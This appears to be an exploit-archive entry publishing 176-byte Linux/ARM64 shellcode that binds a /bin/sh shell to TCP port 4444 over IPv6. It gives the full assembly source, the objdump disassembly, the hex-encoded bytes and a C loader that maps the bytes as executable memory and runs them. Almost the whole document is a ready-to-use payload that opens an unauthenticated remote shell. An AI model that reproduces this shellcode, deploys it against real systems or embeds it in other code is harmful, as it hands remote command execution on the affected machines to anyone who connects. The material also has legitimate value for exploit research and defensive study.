Linux/ARM64 Bind (4444/TCP) Shell (/bin/sh) + IPv6 Shellcode

176 bytes small Linux/ARM64 bind (4444/TCP) shell (/bin/sh) + IPv6 shellcode.


MD5 | c130e4751a092cf193947ee482647a82

/*
# Title: Linux/ARM64 - Bind (4444/TCP) Shell (/bin/sh) + IPv6 Shellcode (176 bytes)
# Date: 2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c


[email protected]:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu Xenial Xerus (development branch)
Release: 16.04
Codename: xenial
[email protected]:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
[email protected]:~/works$ cat ipv6bindshell.s
.section .text
.global _start
_start:
// socket(10, 1, 0)
mov x0, #0x0a
lsr x1, x0, #3
lsl x3, x1, #2
mov x2, xzr
mov x8, #198
svc #0x1337

// save fd
mvn x4, x0

// bind(fd, &sockaddr, 28)
str xzr, [sp, #-8]!
str xzr, [sp, #-8]!
str xzr, [sp, #-8]!
movz x1, #0x0a
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]!
add x1, sp, x2
mov x2, #28
mov x8, #200
svc #0x1337

// listen(s, 2)
mvn x0, x4
mov x1, x3
mov x8, #201
svc #0x1337

// a = accept(s, 0, 0)
mvn x0, x4
mov x1, xzr
mov x2, xzr
mov x8, #202
svc #0x1337

// save a
mvn x4, x0

mov x1, x3

dup3:
// dup3(s, 2, 0)
// dup3(s, 1, 0)
// dup3(s, 0, 0)
mvn x0, x4
lsr x1, x1, #1
mov x2, xzr
mov x8, #24
svc #0x1337
mov x10, xzr
cmp x10, x1
bne dup3

// execve("/bin/sh", 0, 0)
mov x3, #0x622F
movk x3, #0x6E69, lsl #16
movk x3, #0x732F, lsl #32
movk x3, #0x68, lsl #48
str x3, [sp, #-8]!
add x0, sp, x1
mov x8, #221
svc #0x1337
[email protected]:~/works$ as -o ipv6bindshell.o ipv6bindshell.s && ld -o ipv6bindshell ipv6bindshell.o
[email protected]:~/works$ objdump -d ./ipv6bindshell

./ipv6bindshell: file format elf64-littleaarch64


Disassembly of section .text:

0000000000400078 <_start>:
400078: d2800140 mov x0, #0xa // #10
40007c: d343fc01 lsr x1, x0, #3
400080: d37ef423 lsl x3, x1, #2
400084: aa1f03e2 mov x2, xzr
400088: d28018c8 mov x8, #0xc6 // #198
40008c: d40266e1 svc #0x1337
400090: aa2003e4 mvn x4, x0
400094: f81f8fff str xzr, [sp,#-8]!
400098: f81f8fff str xzr, [sp,#-8]!
40009c: f81f8fff str xzr, [sp,#-8]!
4000a0: d2800141 mov x1, #0xa // #10
4000a4: f2ab8221 movk x1, #0x5c11, lsl #16
4000a8: f81f8fe1 str x1, [sp,#-8]!
4000ac: 8b2263e1 add x1, sp, x2
4000b0: d2800382 mov x2, #0x1c // #28
4000b4: d2801908 mov x8, #0xc8 // #200
4000b8: d40266e1 svc #0x1337
4000bc: aa2403e0 mvn x0, x4
4000c0: aa0303e1 mov x1, x3
4000c4: d2801928 mov x8, #0xc9 // #201
4000c8: d40266e1 svc #0x1337
4000cc: aa2403e0 mvn x0, x4
4000d0: aa1f03e1 mov x1, xzr
4000d4: aa1f03e2 mov x2, xzr
4000d8: d2801948 mov x8, #0xca // #202
4000dc: d40266e1 svc #0x1337
4000e0: aa2003e4 mvn x4, x0
4000e4: aa0303e1 mov x1, x3

00000000004000e8 <dup3>:
4000e8: aa2403e0 mvn x0, x4
4000ec: d341fc21 lsr x1, x1, #1
4000f0: aa1f03e2 mov x2, xzr
4000f4: d2800308 mov x8, #0x18 // #24
4000f8: d40266e1 svc #0x1337
4000fc: aa1f03ea mov x10, xzr
400100: eb01015f cmp x10, x1
400104: 54ffff21 b.ne 4000e8 <dup3>
400108: d28c45e3 mov x3, #0x622f // #25135
40010c: f2adcd23 movk x3, #0x6e69, lsl #16
400110: f2ce65e3 movk x3, #0x732f, lsl #32
400114: f2e00d03 movk x3, #0x68, lsl #48
400118: f81f8fe3 str x3, [sp,#-8]!
40011c: 8b2163e0 add x0, sp, x1
400120: d2801ba8 mov x8, #0xdd // #221
400124: d40266e1 svc #0x1337
[email protected]:~/works$ objcopy -O binary ipv6bindshell ipv6bindshell.bin
[email protected]:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' ipv6bindshell.bin && echo
\x40\x01\x80\xd2\x01\xfc\x43\xd3\x23\xf4\x7e\xd3\xe2\x03\x1f\xaa\xc8\x18\x80\xd2\xe1\x66\x02\xd4\xe4\x03\x20\xaa\xff\x8f\x1f\xf8\xff\x8f\x1f\xf8\xff\x8f\x1f\xf8\x41\x01\x80\xd2\x21\x82\xab\xf2\xe1\x8f\x1f\xf8\xe1\x63\x22\x8b\x82\x03\x80\xd2\x08\x19\x80\xd2\xe1\x66\x02\xd4\xe0\x03\x24\xaa\xe1\x03\x03\xaa\x28\x19\x80\xd2\xe1\x66\x02\xd4\xe0\x03\x24\xaa\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\x48\x19\x80\xd2\xe1\x66\x02\xd4\xe4\x03\x20\xaa\xe1\x03\x03\xaa\xe0\x03\x24\xaa\x21\xfc\x41\xd3\xe2\x03\x1f\xaa\x08\x03\x80\xd2\xe1\x66\x02\xd4\xea\x03\x1f\xaa\x5f\x01\x01\xeb\x21\xff\xff\x54\xe3\x45\x8c\xd2\x23\xcd\xad\xf2\xe3\x65\xce\xf2\x03\x0d\xe0\xf2\xe3\x8f\x1f\xf8\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4

*/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] =
"\x40\x01\x80\xd2\x01\xfc\x43\xd3\x23\xf4\x7e\xd3\xe2\x03\x1f\xaa"
"\xc8\x18\x80\xd2\xe1\x66\x02\xd4\xe4\x03\x20\xaa\xff\x8f\x1f\xf8"
"\xff\x8f\x1f\xf8\xff\x8f\x1f\xf8\x41\x01\x80\xd2\x21\x82\xab\xf2"
"\xe1\x8f\x1f\xf8\xe1\x63\x22\x8b\x82\x03\x80\xd2\x08\x19\x80\xd2"
"\xe1\x66\x02\xd4\xe0\x03\x24\xaa\xe1\x03\x03\xaa\x28\x19\x80\xd2"
"\xe1\x66\x02\xd4\xe0\x03\x24\xaa\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa"
"\x48\x19\x80\xd2\xe1\x66\x02\xd4\xe4\x03\x20\xaa\xe1\x03\x03\xaa"
"\xe0\x03\x24\xaa\x21\xfc\x41\xd3\xe2\x03\x1f\xaa\x08\x03\x80\xd2"
"\xe1\x66\x02\xd4\xea\x03\x1f\xaa\x5f\x01\x01\xeb\x21\xff\xff\x54"
"\xe3\x45\x8c\xd2\x23\xcd\xad\xf2\xe3\x65\xce\xf2\x03\x0d\xe0\xf2"
"\xe3\x8f\x1f\xf8\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4";

int main(int argc, char **argv) {
printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}

memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;

sc();

return 0;
}

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